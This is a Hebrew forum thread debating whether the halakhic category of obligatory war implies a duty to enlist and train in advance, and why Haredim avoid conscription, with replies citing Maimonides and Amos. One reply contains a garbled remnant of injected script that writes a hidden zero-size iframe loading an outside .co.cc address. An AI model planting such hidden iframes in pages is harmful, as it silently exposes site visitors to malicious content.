ג' חלקים. על מלחמת מצווה, ועל גיוס

.

חלק ראשון:

בהלכה הראשונה בפרק החמישי מהלכות מלכים ומלחמותיהם, הגדיר הרמב"ם מהי מלחמת מצווה:

אין המלך נלחם תחילה, אלא על מלחמת מצוה.  ואיזו היא מלחמת מצוהזו מלחמת שבעה עממים, ומלחמת עמלק, ועזרת ישראל מצר שבא עליהם.  ואחר כך נלחם במלחמת הרשותוהיא המלחמה שנלחם עם שאר העמים, כדי להרחיב גבול ישראל ולהרבות בגדולתו ושמעו.


חלק שני:

הבה נניח כי בבוקרו של יום טוב ראשון של סוכות, מגיע מן דהו לבית הכנסת נטול ארבעת המינים. הגיע זמן הנטילה - והנטול מסביר כי רק כעת הגיע זמן המצווה, ולכן לא הכין מראש את ארבעת המינים. "אני", הוא מסביר לסובבים אותו, "אני אינני עושה מצווה בטרם זמנה".

אך לשחוק יהיה, הלא כן?

כל ילד יודע כי יש מצוות שאי אפשר לקיים בזמנן, אם לא מתכוננים לפניכן. אי אפשר לנטול ארבעה מינים בזמן, אם לא מכינים אותם מבעוד יום. אי אפשר לאכול בשבת אם לא טורחים בערב שבת.


האם אפשר יהיה להלחם מלחמת מצווה בלי להתכונן לכך מראש?  האם לא יהיה לשחוק מי שיבוא ויבקש לקיים מצוות עזרת ישראל מצר שבא עליהם, והוא אינו מלומד מלחמה? אינו יודע מאיזה צד של הרובה להרכיב את הכוונת?



חלק שלישי:

בר בי רב

ברוך השב!

מואדיב

איקון ירוק על הנושא.

אכן אין מלחמת מצוה בזמננו כמלחמת מצוה בזמנם, כי אין המלחמה שלנו כמלחמה שלהם.

בימי אבותינו, נניח דוד המלך, לוחמה לא חייבה הכשרה. (אם כי כמו בכל תחום, אפילו סבל, יש מקום לטכניקה כדי להשתפר ולהתייעל). כלי המלחמה היה חרב אבל גם מקל ארוך וחזק כמו ענף של עץ. והלוחם היה איכר או איש מקצוע עד לרגע שבו תקף האויב. מהרגע ההוא, תפס כל אחד בכלי השימושי הקרוב ויצא לקרב. אחד נגד אחד.

והיום? היום מלחמה היא התמקצעות. אפילו בדור של, נניח, מלחמת יום כיפורים, היה צריך ללמוד איך להתנהג בשדה הקרב. איך יורים ואיך משתמשים בכלל ברובה, איך מוצאים מחסה, איך מאתרים את האויב, ועוד ועוד.

וצריך היה לרכוש כושר גופני ועוד תכונות שאיני יודע את כולן.

לפיכך, מי שיקח אדם מן הישיבה או המשרד או מכל מקום לשדה הקרב בלי הכנה ארוכה, שולח אותו כמעט לההרג.

לפיכך, אם במלחמת מצוה יוצאים הכל, ואם מה שיש לנו כאן בארץ הוא מלחמת מצוה, אזי צריך להתגייס מראש כדי להקדיש חודשים להכנות הנאותות.

מדוע אם כן יש שסבורים שיש פטור מגיוס?

אני משער שהם יצביעו על כמה תנאים שאינם מתמלאים לדעתם.

א. פטור למי שעוסק בתורה. זאת בהתחשב על מדרש אודות חלוקת הלומדים והנלחמים.

ב. שדה הקרב של היום מצריך פחות לוחמים ויותר יכולת מקצועית. די ביחידות קטנות ויעילות. כלומר, לא צריך כל אחד בצבא כפי שהיה פעם. (יתכן שצריך שכל אחד יתמוך במובן של ספק שירותים או יפדה את שירותו בתשלום).

ג. יש חשש שהמתגייסים ייחשפו לעולם כה מפתה עד שלא יעמדו בנסיון ויתקלקלו.

ד. הצבא אינו מציע תנאים מינימליים הדרושים לשומר מצוות. וכאן יש כאלו שאינם יודעים הלכה כראוי וסבורים שהצבא אמור להבטיח להם בקביעות מנינים לתפילה איטית, כולל טבילה לפני תפילת שחרית, שחיטה בהידור המקובל עליהם, ועוד. ולא היא כמובן.

ויש גם המוסיפים את ה.

ה. המלחמות של המדינה הן זרות לציבור "שלנו" כי מעולם לא רצינו מדינה ומצידנו שיפרקו אותה ואדרבה, כך נעדיף, לחיות תחת עול גלות של ממשלת גויים, ויש לזה יתרונות מסויימים מצד ההלכה - לפי תפיסתם.

השאלה היא גם אם טענה ה היא נכונה וגם אם הדוגל בטענה כזו מסוגל לשמור על עקביות.

כשלעצמי, נראה לי שהסיבה הגדולה להימנעות מגיוס היא סעיף ג. הפחד להחשף. וכמדומה שהמחלוקות המשסעות את הציבור החרדי בחודשים או בשנים האחרונות אם להגיע בכלל ללשכת גיוס, מחלוקות אלו מתחילות מכאן: האם החרדי בן התורה הצעיר זקוק לחממה באופן מוחלט כדי לא להתקלקל.

__טעות הקלדה במספר סעיף תוקנה_______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

אני מסכים עם הרב מיימוני שנימוק ג' שהביא הוא עיקר הטעם לא להתגייס וזו אכן אחת ההגדרות המדוייקות ביותר לחרדיות: זה שמעדיף את העולם הבא של עצמו על פני העולם הזה של אחיו

הרמבם בפירוש המשניות בסוף פרק ח דסוטה ,

והנה התייחסות בספר גופי הלכות,
אמנם מה שיש לתמוה בדברי רבינו שאיך קרא לעזרת ישראל מיד צר מצוה והא רבנן קרו ליה רשות ולא מצוה והיכי מזכי שטרא לבי תרי, למלחמת עמלק קרי מצוה כרבנן ולעזרת ישראל מיד צר קרי מצוה כר' יהודה, דלרבנן לא קרי אלא רשות ולא מצוה והעוסק בה חייב מצוה. ועוד דנפיק חורבא דלרבנן כל שקורא אותה מלחמת מצוה יוצא אפי' חתן מחדרו ובעזרת ישראל מיד צר לכו"ע חוזרין מעורכי המלחמה. ועוד שרבינו עצמו כתב בפי' המשנה היפך זה וז"ל ואמנם מחלקותם בהריגת ההורגים אותם ולהחלישם עד שלא יהרגו ישראל ולא ילחמו תנא קמא קורא לזה רשות ואחר שכאן מנה מלחמת עמלק מצוה כת"ק איך קרא מלחמת אויבים מצוה והא רבנן קרו ליה רשות דכפי זה עוסק בה חייב באחרת. וכבר חשבתי לומר דאיכא תרי גווני עזרת ישראל מיד צר, ההיא דגמרא דקרו רבנן רשות מיירי דלא באו עדיין אלא שהם מתפחדים שמא יבואו הגוים וזה שאמרו דלא ליתו גוים עלייהו אבל עדיין לא באו והא קרו רבנן רשות, אבל אם באו כבר להלחם קרו רבנן מצוה ובהא מיירי הרמב"ם ז"ל שכן כתב בעזרת גוים שבאו עליהם שכבר באו. וזה דוחק דהא איכא תרתי חלוקות בעזרת גוים ואיכא חלוקא דכולי עלמא מודו דאינו רשות אמאי משתמיט רבא מלהזכירה ונדי לחלוקת לרווחא. 

ירובעל

בלי להיכנס לשאלה על נכונות הגדרתך, היא הזכירה לי את הכתוב בעמוס

"הוי המתאוים את יום ה' למה זה לכם יום ה' הוא חושך ולא אור... שנאתי מאסתי חגיכם ולא אריח בעצרותיכם... הסר מעלי המון שיריך... ויגל כמים משפט וצדקה כנחל איתן"

מיימוני וכולם
ואולי יותר נוח לא להתגייס?

.

חסדא - תודה.

.

הנושא כל כך נדוש כבר. הרי מה הטעם לצטט הלכות בלי להבין את הבסיס להלכות האלה מתי הם רלוונטיים ומתי לא.

ובכל זאת השבת למדנו מהן הבסיס הראשונית לכל השאר בהמשך כמו הלכות וכדומה.

מקס, עכשיו אתה מטיף לטבח כל הערבים?

ד.א. לדעתך מוצא הפלסטינים מהכנענים?